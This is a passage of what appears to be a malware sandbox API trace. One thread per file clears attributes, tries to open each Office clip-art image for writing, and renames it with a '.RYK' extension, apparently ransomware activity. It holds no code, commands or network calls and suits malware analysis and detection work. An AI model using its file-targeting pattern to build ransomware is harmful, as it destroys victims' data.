	[0269.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3388
	os_tid = 0x39e0

	[0268.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP", dwFileAttributes=0x80) returned 0
	[0268.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3389
	os_tid = 0x39e4

	[0268.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP", dwFileAttributes=0x80) returned 0
	[0269.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3390
	os_tid = 0x39e8

	[0268.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG", dwFileAttributes=0x80) returned 0
	[0269.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3391
	os_tid = 0x39ec

	[0268.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP", dwFileAttributes=0x80) returned 0
	[0269.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3392
	os_tid = 0x39f0

	[0268.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP", dwFileAttributes=0x80) returned 0
	[0269.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3393
	os_tid = 0x39f4

	[0268.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP", dwFileAttributes=0x80) returned 0
	[0269.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3394
	os_tid = 0x39f8

	[0268.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP", dwFileAttributes=0x80) returned 0
	[0269.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.424] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3395
	os_tid = 0x39fc

	[0268.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP", dwFileAttributes=0x80) returned 0
	[0269.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3396
	os_tid = 0x3a00

	[0268.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP", dwFileAttributes=0x80) returned 0
	[0269.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3397
	os_tid = 0x3a04

	[0268.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG", dwFileAttributes=0x80) returned 0
	[0269.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.028] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3398
	os_tid = 0x3a08

	[0269.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP", dwFileAttributes=0x80) returned 0
	[0269.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3399
	os_tid = 0x3a0c

	[0269.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP", dwFileAttributes=0x80) returned 0
	[0269.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3400
	os_tid = 0x3a10

	[0269.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", dwFileAttributes=0x80) returned 0
	[0269.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3401
	os_tid = 0x3a14

	[0269.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP", dwFileAttributes=0x80) returned 0
	[0269.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3402
	os_tid = 0x3a18

	[0269.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG", dwFileAttributes=0x80) returned 0
	[0269.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3403
	os_tid = 0x3a1c

	[0269.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF", dwFileAttributes=0x80) returned 0
	[0269.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3404
	os_tid = 0x3a20

	[0269.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP", dwFileAttributes=0x80) returned 0
	[0269.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3405
	os_tid = 0x3a24

	[0269.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP", dwFileAttributes=0x80) returned 0
	[0269.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3406
	os_tid = 0x3a28

	[0269.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF", dwFileAttributes=0x80) returned 0
	[0269.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3407
	os_tid = 0x3a2c

	[0269.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP", dwFileAttributes=0x80) returned 0
	[0269.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3408
	os_tid = 0x3a30

	[0269.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF", dwFileAttributes=0x80) returned 0
	[0269.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3409
	os_tid = 0x3a34

	[0269.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP", dwFileAttributes=0x80) returned 0
	[0269.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3410
	os_tid = 0x3a38

	[0269.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF", dwFileAttributes=0x80) returned 0
	[0269.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3422
	os_tid = 0x3a68

	[0269.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF", dwFileAttributes=0x80) returned 0
	[0269.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3423
	os_tid = 0x3a6c

	[0269.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP", dwFileAttributes=0x80) returned 0
	[0269.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
